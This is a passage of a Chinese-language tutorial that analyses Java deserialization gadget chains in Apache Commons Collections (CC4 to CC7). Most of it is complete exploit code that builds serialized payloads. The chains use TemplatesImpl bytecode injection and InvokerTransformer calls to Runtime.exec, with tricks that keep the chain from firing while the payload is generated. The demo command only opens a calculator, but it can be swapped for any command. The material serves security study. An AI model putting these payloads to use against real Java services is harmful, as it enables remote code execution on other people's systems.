[] classBytes = cc.toBytecode(); TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates,"_name" ,"leihehe" ); setFieldValue(templates,"_class" ,null ); setFieldValue(templates,"_bytecodes" ,new byte [][]{classBytes}); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); ConstantTransformer constantTransformer = new ConstantTransformer (String.class); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{String.class},new Object []{"haha" }); Transformer[] transformers = new Transformer []{ constantTransformer, instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator comparator = new TransformingComparator (chainedTransformer); final PriorityQueue<Object> queue = new PriorityQueue <>(2 ,comparator); queue.add(1 ); queue.add(1 ); setFieldValue(constantTransformer,"iConstant" ,TrAXFilter.class); setFieldValue(instantiateTransformer,"iParamTypes" ,new Class []{Templates.class}); setFieldValue(instantiateTransformer,"iArgs" ,new Object []{templates}); ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream (("test.ser" ))); outputStream.writeObject(queue); outputStream.close(); } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
我们知道PriorityQueue
在使用add()
方法的时候,会执行其comparator
,导致利用链会在序列化前就被触发而程序终止。所以我们需要在add之后再把我们利用链用到的东西放进去。例如constantTransformer
和InstantiateTransformer
都是如此,我们在add之后才对他们的参数进行修改。
因为我们只需要call到chainedTransformer.transform()
方法,不需要像cc2链一样要向InvokerTransformer
传数据,因此我们不需要在queue
中添加构造的templates
了。
方法二 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassClassPath;import javassist.ClassPool;import javassist.CtClass;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.comparators.TransformingComparator;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.PriorityQueue;public class CommonsCollections4Method2 { public static void main (String[] args) throws Exception { ClassPool classPool = ClassPool.getDefault(); classPool.insertClassPath(new ClassClassPath ((AbstractTranslet.class))); CtClass cc = classPool.makeClass("Evil" ); String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");" ; cc.makeClassInitializer().insertBefore(cmd); cc.setName("Leihehe" ); cc.setSuperclass(classPool.get(AbstractTranslet.class.getName())); final byte [] classBytes = cc.toBytecode(); TemplatesImpl templates = TemplatesImpl.class.newInstance(); setFieldValue(templates,"_name" ,"leihehe" ); setFieldValue(templates,"_class" ,null ); setFieldValue(templates,"_bytecodes" ,new byte [][]{classBytes}); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); TransformingComparator comparator = new TransformingComparator (chainedTransformer); final PriorityQueue<Object> queue = new PriorityQueue <>(2 ); queue.add(1 ); queue.add(1 ); setFieldValue(queue,"comparator" ,comparator); ObjectOutputStream outputStream = new ObjectOutputStream (new FileOutputStream (("test.ser" ))); outputStream.writeObject(queue); outputStream.close(); } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) { Field field = null ; try { field = clazz.getDeclaredField(fieldName); field.setAccessible(true ); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); } return field; } }
该方法的区别在于,我们不需要先伪装transformers
里的各种transformer
,相反,我们先创建一个不含自定义comparator
的PriorityQueue,在add完之后,我们再将comparator
加进这个PriorityQueue
,这样就巧妙的绕过了add()
触发点
总结 cc4 = cc2和cc3的混合体
Gadget chain: ObjectInputStream.readObject() PriorityQueue.readObject() TransformingComparator() ChainedTransformer.transform() ConstantTransformer.transform() InstantiateTransformer.transform() TrAXFilter.TrAXFilter() … exec()
Reference ysoserial CommonsCollections3/4 详细分析
Java反序列化利用链补全计划
Commons Collections 5 环境搭建
commons-collections:3.1-3.2.1
jdk1.8
利用链构造 在cc5后半部分,我们依然使用之前用过的利用链
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()
在commons-collections:3.1-3.2.1
中,我们的InvokerTransformer
存在,所以可以继续利用它来作为我们利用链的一部分。
LazyMap 和cc1一样,我们选择使用**LazyMap.get()**来触发ChainedTransformer.transform()
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (!super .map.containsKey(key)) { Object value = this .factory.transform(key); super .map.put(key, value); return value; } else { return super .map.get(key); } }
LazyMap
的构造函数是protected
的,我们可以用LazyMap.decorate()
来得到我们想要的LazyMap instance
,具体的在之前的cc1和cc3都有讲解过。
1 2 3 public static Map decorate (Map map, Transformer factory) { return new LazyMap (map, factory); }
现在我们可以暂时写出如下payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public class CommonsCollections5 { public static void main (String[] args) { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map innerMap = new HashMap (); innerMap.put("1" ,"2" ); Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer); } }
在cc1中,我们有用到AnnotationInvocationHandler
,但AnnotationInvocationHandler
在JDK1.8做了限制,所以我们用到了BadAttributeValueExpException
写着一半发现不对劲,之前其实有写了cc5,写在cc1的地方重复了 LOL
剩下看这里
Commons Collections 6 环境搭建
commons-collections:3.1-3.2.1
jdk1.7&1.8
利用链构造 前言 在cc5中,我们使用TiedMapEntry.toString()
来执行TiedMap.getValue()
,再由BadAttributeInvocationHandler
来执行TiedMapEntry.toString()
,从而完成利用链的衔接。我们在cc6中,将另外寻找一条链,能够连接TiedMapEntry.getValue()->Lazymap.get() -> ChainedTransformer.transform()
TiedMapEntry.hashCode() 我们发现,在hashCode()方法中也call到了 getValue()
1 2 3 4 public int hashCode () { Object value = this .getValue(); return (this .getKey() == null ? 0 : this .getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
那么什么能够执行hashCode()
呢
HashMap.hash() 我们在HashMap
下找到了hash()
方法,其中call到了hashCode()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 final int hash (Object k) { int h = hashSeed; if (0 != h && k instanceof String) { return sun.misc.Hashing.stringHash32((String) k); } h ^= k.hashCode(); h ^= (h >>> 20 ) ^ (h >>> 12 ); return h ^ (h >>> 7 ) ^ (h >>> 4 ); }
继续找可以连接hash()
的方法
我们发现这里有很多地方都用到了hash()
,我们一个一个分析
调用hash()处一(方法一): HashMap.putForCreate() & HashMap.readObject() 最后我们找到putForCreate(),发现它调用了hash()
且它会被readObject()调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 private void putForCreate (K key, V value) { int hash = null == key ? 0 : hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null ; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || (key != null && key.equals(k)))) { e.value = value; return ; } } createEntry(hash, key, value, i); }
那么我们就可以确定使用这个链了
HashMap.readObject([key,value])->HashMap.putForCreate(key,value)->HashMap.hash(key)->key.hashcode()->TiedMapEntrykey.hashCode()->TiedMapEntry.getValue(this.key=chainedTransformer)->Lazymap.get(chainedTransformer) -> ChainedTransformer.transform() -> …..
我们尝试来构造一下POC :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CommonsCollections6 { public static void main (String[] args) throws IOException, ClassNotFoundException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map innerMap = new HashMap (); innerMap.put("1" ,"2" ); Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"leihehe" ); Map serMap = new HashMap (); serMap.put(tiedMapEntry,"111" ); FileOutputStream fileOutputStream = new FileOutputStream ("lz.cer" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(serMap); objectOutputStream.flush(); objectOutputStream.close(); fileOutputStream.close(); } }
奇怪的是,我们并没有反序列化,但计算器依然弹出来了,说明这里某处又触发了一次命令执行。
HashMap.put()的问题 还记得我们之前查找哪些地方调用了HashMap.hash()吗,那里貌似出现了很多地方调用。其中一个地方 put()
方法里,也对hash()
进行了调用,正好我们要在生成payload的时候put进key-value对 ,那该怎样才能让他在生成payload的时候不触发?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 public V put (K key, V value) { if (table == EMPTY_TABLE) { inflateTable(threshold); } if (key == null ) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null ; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this ); return oldValue; } } modCount++; addEntry(hash, key, value, i); return null ; }
其实刚开始分析的时候总觉得这一幕似曾相识,感觉好像自己之前分析过put
重复执行命令的这种类似的情况。后来去网上查了下,发现这不是URLDNS 的内容吗?
因为触发的地方在LazyMap.get() -> ChainedTransformer.transform()
所以我们可以在构造LazyMap的时候让他执行一个无效的ChainedTransformer,然后最后再传入真正有用的transformer
POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 public class CommonsCollections6 { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] fakeTransformers = new Transformer []{ new ConstantTransformer (String.class) }; Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (fakeTransformers); Map innerMap = new HashMap (); innerMap.put("1" ,"2" ); Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"leihehe" ); Map serMap = new HashMap (); serMap.put(tiedMapEntry,"111" ); Field myTransformers = chainedTransformer.getClass().getDeclaredField("iTransformers" ); myTransformers.setAccessible(true ); myTransformers.set(chainedTransformer,transformers); FileOutputStream fileOutputStream = new FileOutputStream ("lz.cer" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(serMap); objectOutputStream.flush(); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream ("lz.cer" ); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); objectInputStream.readObject(); } }
奇怪的是,序列化时不弹计算器了,可是反序列化的时候也没有弹计算器 -》 我们没有成功触发漏洞。
问题出在哪里呢?
我们发现执行到putForCreate
的时候,被传过去的key值是TiedMapEntry
中的key值,而并非我们想要的tiedMapEntry
,所以我们猜测某个地方将TiedMapEntry
中的key值给加到map里去了。
跟踪后发现问题出在LazyMap.get():
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (!super .map.containsKey(key)) { Object value = this .factory.transform(key); super .map.put(key, value); return value; } else { return super .map.get(key); } }
在这里我们的factory是fakeTransform
,key是leihehe
,在super.map.put(key, value);
处,TiedMapEntry被添加了一个key值
导致反序列化漏洞触发失败。
所以我们的解决方法 如下:
1 lazyMap.remove("leihehe" );
POC构造 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CommonsCollections6 { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] fakeTransformers = new Transformer []{ new ConstantTransformer (String.class) }; Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (fakeTransformers); Map innerMap = new HashMap (); innerMap.put("1" ,"2" ); Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"leihehe" ); Map serMap = new HashMap (); serMap.put(tiedMapEntry,"111" ); lazyMap.remove("leihehe" ); Field myTransformers = chainedTransformer.getClass().getDeclaredField("iTransformers" ); myTransformers.setAccessible(true ); myTransformers.set(chainedTransformer,transformers); FileOutputStream fileOutputStream = new FileOutputStream ("lz.cer" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(serMap); objectOutputStream.flush(); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream ("lz.cer" ); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); objectInputStream.readObject(); } }
调用hash()处二(方法二): HashSet 经过分析,我们发现HashMap.put()
方法也会导致利用链触发(也正是它给我们在方法一的实现中带来了坑)
那么我们有没有什么办法直接让程序call到HashMap.put()
,就让它成为利用链中一部分呢?
HashSet
成为了我们的首选。
HashSet.readObject() 我们发现HashSet.readObject()
中call 到了put()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); int capacity = s.readInt(); float loadFactor = s.readFloat(); map = (((HashSet)this ) instanceof LinkedHashSet ? new LinkedHashMap <E,Object>(capacity, loadFactor) : new HashMap <E,Object>(capacity, loadFactor)); int size = s.readInt(); for (int i=0 ; i<size; i++) { E e = (E) s.readObject(); map.put(e, PRESENT); } }
如果我们能让map
变量为我们的HashMap就能连上了。我们发现在该方法下会重建一个新的map,而这个map就是HashMap 类型。 如果我们直接把这个内部的HashMap 拿来用,把这个内部的HashMap 的key值改为tiedMapEntry ,当他被call put()
的时候,利用链就能被成功执行了。
我们跟到HashSet.readObject()
看一下,看看这个e
是怎么来的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void writeObject (java.io.ObjectOutputStream s) throws java.io.IOException { s.defaultWriteObject(); s.writeInt(map.capacity()); s.writeFloat(map.loadFactor()); s.writeInt(map.size()); for (E e : map.keySet()) s.writeObject(e); }
这就很明显了,它会把变量map
里的key-value
对给序列化,如果我们变量map
已经有值,那么它的内容就会被序列化 -》从而在readObject()反序列化的时候这些内容又会被反序列化从而触发漏洞 -》 这里引出后面的用反射修改map
。
HashSet.add() HashSet.add()
会向map(hashmap)中添加一个key
1 2 3 public boolean add (E e) { return map.put(e, PRESENT)==null ; }
POC构造 我们已经得知,HashSet中会生成一个HashMap,所以我们不再需要自己构造了HashMap了。我们的思路如下:先用hashSet生成一个带任意key值的hashMap,我们用反射的方式得到这个map,最后再用反射的方式从这个map 中修改key 。
在HashMap中,键值对是被存储在table
变量中的,这个看代码直接能看出来。
完整POC如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.HashSet;import java.util.Map;public class CommonsCollections6Method2 { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); Map innerMap = new HashMap (); innerMap.put("1" ,"2" ); Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap,"leihehe" ); HashSet hashSet = new HashSet (); hashSet.add("111" ); Field map = hashSet.getClass().getDeclaredField("map" ); map.setAccessible(true ); HashMap mapInHashSet = (HashMap) map.get(hashSet); Field table = mapInHashSet.getClass().getDeclaredField("table" ); table.setAccessible(true ); Object[] array = (Object[]) table.get(mapInHashSet); Object node = array[0 ]; for (Object i : array){ if (i!=null ){ node=i; break ; } } Field key = node.getClass().getDeclaredField("key" ); key.setAccessible(true ); key.set(node,tiedMapEntry); FileOutputStream fileOutputStream = new FileOutputStream ("lz.cer" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(hashSet); objectOutputStream.flush(); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream ("lz.cer" ); ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream); objectInputStream.readObject(); } }
总结 cc6中用fakeTransformer
来绕过命令重复执行可以说是非常好的思路了,自己在审计的时候也可以学习这方面思路。
Reference ysoserial CommonsCollections5/6 详细分析
Java安全-CommonsCollections6利用链分析
Commons Collections 7 环境搭建
commons-collections:3.1-3.2.1
jdk1.7
利用链构造 前言 LazyMap.get()
之后得步骤和之前的cc链都差不多,这里就不再说了。
AbstractMap.equals() 我们在AbstractMap.equals()
中发现了.get()
方法
如果我们能够控制变量m
为lazyMap的话,就能连上利用链了。
那么什么调用了AbstractMap.equals()
呢?
Hashtable.reconstitutionPut() 我们发现在Hashtable
中,reconstitutionPut()
方法调用了e.key.equals()
,既然我们想要call到AbstractMap.equals()
,那我们让传入的e.key 变成AbstractMap
是不是就可以了呢?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 private void reconstitutionPut (Entry<K,V>[] tab, K key, V value) throws StreamCorruptedException { if (value == null ) { throw new java .io.StreamCorruptedException(); } int hash = hash(key); int index = (hash & 0x7FFFFFFF ) % tab.length; for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } Entry<K,V> e = tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++; }
我们发现HashMap
继承了AbstractMap
,如果我们的变量e
为lazyMap
,它的key值则为hashMap
,从而我们会call到**hashMap的equals()**,就能触发漏洞了。
Hashtable.readObject() 跟踪发现reconstitutionPut()
刚好会被Hashtable.readObject()
所调用。此处的newTable
是新的,我们无法赋值,但是在reconstitutionPut()
方法中,我们可以看到在for循环后面,有一句tab[index] = new Entry<>(hash, key, value, e);
这是将我们的key-value对存入这个tab 中,而这个tab正好对应了readObjcet()
里的newTable
遇到的一些困惑:
起初我很疑惑newTable 和tab 的关系,后来我明白了,newTable 作为参数tab 传入reconstitutionPut()
后,在reconstitutionPut()
中对tab 的变化也是会影响到newTable 的 - 也就是所谓的sideffect ,下面我做了个实验:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public class Person { public static void main (String[] args) { Teacher teacher = new Teacher (28 ); Student student = new Student (teacher); System.out.println(teacher.getAge()); } } public class Student { public Student (Teacher teacher) { teacher.modifyAge(53 ); } } public class Teacher { private int age=0 ; public Teacher (int age) { this .age = age; } public void modifyAge (int age) { this .age = age; } public int getAge () { return age; } }
再看Hashtable.writeObject()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 private void writeObject (java.io.ObjectOutputStream s) throws IOException { Entry<K, V> entryStack = null ; synchronized (this ) { s.defaultWriteObject(); s.writeInt(table.length); s.writeInt(count); for (int index = 0 ; index < table.length; index++) { Entry<K,V> entry = table[index]; while (entry != null ) { entryStack = new Entry <>(0 , entry.key, entry.value, entryStack); entry = entry.next; } } } while (entryStack != null ) { s.writeObject(entryStack.key); s.writeObject(entryStack.value); entryStack = entryStack.next; } }
这里将Hashtable里的key-value对给序列化了。
因此我们只需要构造key值为lazyMap 就可以了。
我们初步的POC如下:
1 2 3 4 5 6 7 Map innerMap = new HashMap ();innerMap.put("1" ,"2" ); Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);Hashtable hashtable = new Hashtable ();hashtable.put(lazyMap,1 );
但是这个POC是有问题的。
两个LazyMap 在Hashtable.reconstitutionPut()
中,for循环 里触发了我们的利用链。但如果我们tab 里只有一个key-value对,那么就不会再触发了,因为第一次加入key-value对时tab里面没有值,是不会进入for循环的。
1 2 3 4 5 6 7 8 9 10 for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } } Entry<K,V> e = tab[index]; tab[index] = new Entry <>(hash, key, value, e); count++;
所以我们需要添加两个lazyMap ,而第二个lazyMap 才能让我们进入for循环
改进后POC如下
1 2 3 4 5 6 7 8 9 10 Map innerMap = new HashMap ();innerMap.put("1" ,"2" ); Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);Map innerMap2 = new HashMap ();innerMap2.put("3" ,"4" ); Map lazyMap = LazyMap.decorate(innerMap2,chainedTransformer);Hashtable hashtable = new Hashtable ();hashtable.put(lazyMap,1 ); hashtable.put(lazyMap,2 );
可是这样的POC依然不对。
一样的hash 依然是for循环的毛病
1 2 3 4 5 6 7 8 int hash = hash(key);int index = (hash & 0x7FFFFFFF ) % tab.length;for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) { if ((e.hash == hash) && e.key.equals(key)) { throw new java .io.StreamCorruptedException(); } }
假设我们现在已经put了第一个key-value对,现在tab的内容如下
当我们用第二个<lazyMap2,2>
开始执行for loop 的时候,会判断tab[index]是否为空,如果tab里面不存在,那么就不能进入 for循环 (太坑了)- 意味着我们第一次的**hash(key)和第二次的 hash(key)**必须一样
经测试当lazyMap的key值为xx和zZ时,得到的hashCode是一样的,所以我们能够进入for循环
现在的POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 Map innerMap = new HashMap ();innerMap.put("yy" ,"2" ); Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);Map innerMap2 = new HashMap ();innerMap2.put("zZ" ,"2" ); Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);Hashtable hashtable = new Hashtable ();hashtable.put(lazyMap,1 ); hashtable.put(lazyMap2,2 );
和cc6差不多,我们在执行**hashtable.put()**时,同样会触发利用链
那么我们只需要先传入一个fakeTransformer ,最后再改回来就好了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{});Map innerMap = new HashMap ();innerMap.put("yy" ,"2" ); Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);Map innerMap2 = new HashMap ();innerMap2.put("zZ" ,"2" ); Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);Hashtable hashtable = new Hashtable ();hashtable.put(lazyMap,1 ); hashtable.put(lazyMap2,2 ); Field field = chainedTransformer.getClass().getDeclaredField("iTransformers" );field.setAccessible(true ); field.set(chainedTransformer,transformers); FileOutputStream fileOutputStream = new FileOutputStream ("lz.cer" );ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream);objectOutputStream.writeObject(hashtable); objectOutputStream.flush(); objectOutputStream.close(); fileOutputStream.close(); FileInputStream fileInputStream = new FileInputStream ("lz.cer" );ObjectInputStream objectInputStream = new ObjectInputStream (fileInputStream);objectInputStream.readObject();
原本以为这样就结束了,结果计算器又不跳出来了。还记得cc6 吗,我们出现的问题和这个一模一样
在LazyMap.get()
中,factory
为我们传入的空的Transformer
,key值为yy
,同时key值被放入hashtable
.
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (!super .map.containsKey(key)) { Object value = this .factory.transform(key); super .map.put(key, value); return value; } else { return super .map.get(key); } }
如下图:
我们在AbstractMap.equals()
方法中有一个if判断,此处的**size()**为1,m.size()
为2 -》 因为yy
被加进了hashtable
,所以会直接返回false,从而不会触发利用链。
因此我们需要把yy
从lazyMap
中移除。
POC构造 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;import java.util.AbstractMap;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CommonsCollections7 { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException, IOException { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class,Class[].class}, new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class,Object[].class}, new Object []{null ,null }), new InvokerTransformer ("exec" , new Class []{String.class}, new String []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (new Transformer []{}); Map innerMap = new HashMap (); innerMap.put("yy" ,"2" ); Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer); Map innerMap2 = new HashMap (); innerMap2.put("zZ" ,"2" ); Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer); Hashtable hashtable = new Hashtable (); hashtable.put(lazyMap,1 ); hashtable.put(lazyMap2,2 ); Field field = chainedTransformer.getClass().getDeclaredField("iTransformers" ); field.setAccessible(true ); field.set(chainedTransformer,transformers); lazyMap2.remove("yy" ); FileOutputStream fileOutputStream = new FileOutputStream ("lz.cer" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream (fileOutputStream); objectOutputStream.writeObject(hashtable); objectOutputStream.flush(); objectOutputStream.close(); 